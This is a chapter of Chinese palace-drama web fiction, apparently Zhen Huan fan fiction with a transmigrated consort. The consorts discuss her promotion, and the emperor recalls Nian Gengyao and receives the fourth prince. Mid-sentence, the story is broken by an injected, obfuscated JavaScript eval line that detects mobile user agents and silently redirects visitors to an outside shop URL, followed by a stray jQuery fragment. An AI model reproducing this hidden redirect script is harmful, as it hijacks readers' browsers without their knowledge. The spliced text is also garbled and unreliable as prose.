“我原以为咱们这一批中,会是姐姐你率先升到嫔位,没成想会是白姐姐。”甄嬛感慨。
沈眉庄也有些感慨,“这便是时也命也运也了。”
话虽含了几分世事无常的怅然,不过二人眼底并无酸涩嫉妒。
自入宫以来,三人素来投契,相交纯粹,也是互相扶持过来的,故而眼见白藏先一步晋位,更多的是欣慰与欢喜。
“其实这般也好,咱们这几人高位妃嫔多几个才好,这样才能彼此照拂,在这深宫之中互为倚仗。”
沈眉庄颔首赞同,“你说得极是,宫里人情凉薄,旁人得势,多半会压得咱们抬不起头。藏儿妹妹与咱们交好,她性子好心地宽厚,得了位份,非但不会恃势凌人,反而更能护住咱们几个人的体面。”
甄嬛轻轻点头,“这宫里头看人向来先看位份,位份低,便连身边宫人都敢轻慢几分。想我刚进宫那段时日,不过是病了几日,那起子小人就坐不住了。”
这事算是让甄嬛,直面了这后宫踩高捧底的做态。
“也算好事,那起子小人早早发现给打发了,也算幸事。”沈眉庄叹道:“都说一入宫门深似海,真真是没说错。”
甄嬛情绪也有些低落,自入宫后这话便是她的写照,她虽也算得宠,可华妃更是盛宠霸道,这入宫后的日子,并没有表面上的光鲜亮丽。
“希望咱们都能安稳进阶,彼此守望,这样便不必仰旁人鼻息。”甄嬛叹道。
“说得是,与其盼着外人留情,不如盼自家姐妹扶摇。若咱们都是一宫主位,谁还敢小瞧。”
“正是这个理。”甄嬛看向沈眉庄的肚子笑道:“所以姐姐可得护好咱们的小宝贝。”
沈眉庄轻轻摸着肚子,眼底羡着初为人母的爱怜。她垂眸浅笑,语声轻缓温柔,带着小心翼翼的珍视。
“我自然是拼尽全力也要护着他的,这可是往后的盼头了。”
话头聊到孩子,二人的神情都温柔了下来,将刚才之事抛开,只聊着该给孩子准备些什么。
夏冬春脚步轻快的回了自个居所,面上喜色还是不曾褪去。
杏云瞧着满脸喜色的,笑着问道:“小主是遇到了什么高兴的事了吗?这般开心。”
“杏云,玉小主现在是玉嫔娘娘了。”佛手也是满脸欢喜。
“没错。”夏冬春高兴的拽着杏云蹦跶了两下,“表姐现在是一宫主位了,我这靠山更牢靠了,有着表姐的照拂,我以后会更自在。”
杏云想说,靠别人不如靠自己,不过想着小主并不怎么得皇上宠爱,玉嫔娘娘是小主的表姐,平日就关爱有加,小主这般想也好,便也跟着欢喜起来。
另一边,安陵容回到居所,青莲见主子归来,连忙上前迎候。
待安陵容坐定,青莲奉上香茗,瞧着她眉眼带着笑,便笑着开口:“小主是有什么喜事吗?”
“皇上今个,给玉小主封嫔了。”青荷道。
青莲惊讶,“呀,那可真是桩喜事。”
安陵容眉眼间漾着笑意,“确实是桩喜事,我家世单薄,初进宫处处谨小慎微,没少受旁人冷眼。唯有姐姐从来不曾看轻我半分,平日里更是处处体恤关照,就是如今这贵人的身份,也是多亏了姐姐指点。如今姐姐位份稳固,往后也能更好地立足宫中,往后我们彼此间相互照拂,真是极好的。”
青荷闻言笑着应和:“小主与玉嫔娘娘情意深厚,往后彼此扶持,日子自然会越发安稳顺遂。”
安陵容含着笑,对以后更多了些期许。
白藏将朝珠给皇帝挂好,“皇上,可要臣妾再给您按按?”
胤禛一觉起来头已经不痛了,反而神清气爽。
“休息一夜,已经无碍了。”
“那便好。”白藏将朝珠理顺,“若不是国事为重,臣妾肯定会劝皇上多休养两天,皇上,您这天子做的实在太累了。”
体恤的话语落进耳中,胤禛眸色微微一动,心底泛起些许波澜。
“身在其位,便担其责,谈不上累不累。”
“人那有不累的,臣妾心疼您。”
升职加薪,白藏真是不吝啬好话。
果然胤禛唇角勾了起来,眸子也染上了暖色,伸手握住那双柔荑。
“也就你会这般直白说出口了。”
这话是真话,毕竟后宫之人,只会劝他保重龙体,而不是直言心疼。
白藏将抬眸望对他一笑,“臣妾只是心里所想,如实言说罢了。”
她能怎么办泥,她又不是真古人,说话做事还是更偏向现代人的直来直去。
胤禛轻轻摩挲着她细腻的手背,“时辰不早,随朕一同前去用早膳,早朝可耽误不得。”
因着与皇帝一起用膳,早膳是十分的丰盛,虽说按规矩应该是皇帝一桌,妃嫔一桌,皇帝吃着妃嫔站着伺候。
不过规矩是死的人是活的,皇帝来后宫本来就是放松的,真这般按照规矩来,胤禛会选择一个人吃。
对与美食,白藏从不辜负,皇家规矩还不能劝膳,白藏就更不用顾忌了,吃的很是欢实,让人一瞧就觉得这饭菜保准好吃。
和一个有饭张力的人一起吃,根本就无需劝膳,因为光是看着就会很想吃。
所以胤禛每每在白藏这里用饭,都能多用一碗。
吃饱喝足头也不疼,胤禛很是有些神清气爽之感。
连那难缠的朝会,也没觉得多烦躁了。听西北传上来的军情频频大捷,心情变的更好了。
“西北传来捷报,这次算是打服了。”
“恭喜皇上贺喜皇上,青海战事算是了了,从此边疆安定,百姓免于兵戈之苦,实乃天下之幸!”
百官齐齐躬身行礼,殿内一片称颂之声。
皇帝抚着龙椅扶手,眉眼间难掩意气风发,朗声道:“年羹尧运筹帷幄,将士们浴血拼杀,方能换来今日太平。传朕旨意,厚赏西北全军,加封年羹尧抚远大将军,以示嘉奖。”
阶下众臣再度拜倒,“皇上圣明!”
散朝后,胤祥张廷玉等人,跟着皇帝一起去开小朝会。
“青海战役事了,年羹尧也该班师回朝了。
殿内一时静默,烛火摇曳,映得众人面色凝重。
张廷玉率先开口,“皇上,此战大捷,年大将军劳苦功高,朝野上下无不称颂。只是其麾下将士常年追随,西北军伍俨然成一派势力,若长久在外,恐生尾大不掉之弊。”
胤祥深知皇上心思
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872970|208938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,亦附和道:“张大人说得在理。皇上如今乱局已平,无需大军继续屯守。皇上召其回京,一则论功嘉奖,彰显陛下恩宠。二则拆分兵力,重新调配,方能令军政归一。”
雍正沉默片刻,缓缓开口:“朕知你们顾虑。年羹尧确是能臣,此番功绩实打实。朕本打算厚加封赏,可功高易骄,权盛易纵。”
他抬眼看向众人,“就拟旨吧,催其速速交接防务,即刻回京。另外,着户部备好犒赏物资,大军一路供给从优,先安其心。”
“臣等明白。”
处理完此事,皇帝才又与几个心腹大臣商议朝事,直快到午时才放几人离开。
皇帝也有些累了,放下奏折端起茶盏准备歇一会儿。
“皇上四阿哥求见。”
胤禛指尖在杯沿顿了顿,下意识要说不见,此时脑海中紫金色的气体翻腾了下,大脑空明了一瞬,继而觉得不妥。
敛去疲态,淡声道:“让他进来。”
苏培盛有些意外,还以为会像以往一般直接打发了四阿哥,还好他进来通传了。
“嗻。”
“四阿哥皇上宣您进去。”
弘历双眸一亮,面上是掩不住的喜色。
随着苏培盛入殿,弘历跪拜行礼,礼数周全。
胤禛目光落在他身上,语气平缓却带着威严。
“免礼。你不在书房研习功课,来勤政殿做什么?”
“回皇阿玛,儿臣昨日听闻皇阿玛病了,知皇阿玛连日劳心,故而前来请安。听闻皇阿玛爱吃莲子羹,故而亲自去采了莲蓬剥了莲子,特来献与皇阿玛。”弘历垂首回话,姿态恭顺。
苏培盛接过食盒承上,胤禛瞧着那一盘剥好的莲子,微微点头。
“你有心了。”
“能为皇阿玛分忧,是儿臣本分。”
虽然改变想法要见见这个儿子,但皇帝心底还是不太喜这个儿子,毕竟这个儿子的存在,就在提醒着他,被人算计的那次不堪。
“朕身子已然无碍。”胤禛挥了挥手,“时辰不早,回书房去吧。好好读书,将来方能为朕分忧。”
弘历心中一喜,“是,儿臣谨遵皇阿玛教导。皇阿玛保重龙体,儿臣这便退下了。”
这四阿哥小小年纪,比三阿哥要有成府,就这知进退的劲儿,就是三阿哥学不来的。苏培盛在心中暗赞。
果不其然,皇帝见此心中颇为满意。
他本就因为四子生母,不太喜这个儿子,若是他不知进退,那么就不会再有下次请安。
人离开后,胤禛打量盘中粒粒完整饱满的莲子,伸手捻起一颗,目光略深。
“苏培盛,四阿哥与五阿哥的关系如何?”
“回皇上,裕嫔娘娘对四阿哥颇为照顾,两个小阿哥在一处读书住的也不远,四阿哥和五阿哥的关系还不错。”
“关系不错。”胤禛放下手中的莲子,“既然关系不错,他为何不带着弘昼,过来一起给朕请安?”
苏培盛心中一跳,不敢搭话,心想四阿哥这次,有可能弄巧成拙了。
“这莲子做成莲子羹,给裕嫔和五阿哥都送一碗去。”
果然,唉——
苏培盛在心中暗暗一叹。